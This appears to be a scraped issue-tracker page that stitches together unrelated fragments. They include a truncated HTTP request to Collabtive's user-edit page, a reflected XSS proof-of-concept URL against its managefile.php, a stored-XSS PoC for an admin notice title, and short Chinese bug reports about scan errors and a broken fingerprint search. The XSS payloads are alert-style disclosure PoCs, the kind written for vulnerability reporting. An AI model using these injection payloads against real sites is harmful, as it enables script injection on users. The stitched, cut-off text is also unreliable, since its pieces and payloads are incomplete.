ki9mu

``` POST /collabtive31/manageuser.php?action=edit HTTP/1.1 Host: 192.168.157.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------27687000601228424248921889151 Content-Length: 3518 Origin: http://192.168.157.128...

http://192.168.157.128/collabtive31/managefile.php?action=movefile&id=1&target=%22%3E%3Cscript%3Ealert`xss`%3C/script%3E 

After the administrator logged in, open the following page system management->Notice notice Then add the following XSS statement to the announcement title poc: `”>alert`xss`` there is post package: POST /system/notice/edit...

扫描结果异常

1

异常日志一：  异常日志二：  页面异常状态： 

2.5.2版本任务管理里指纹统计的搜索功能不可用，搜索后仍为之前的指纹

1


该更新啦

1

该更新啦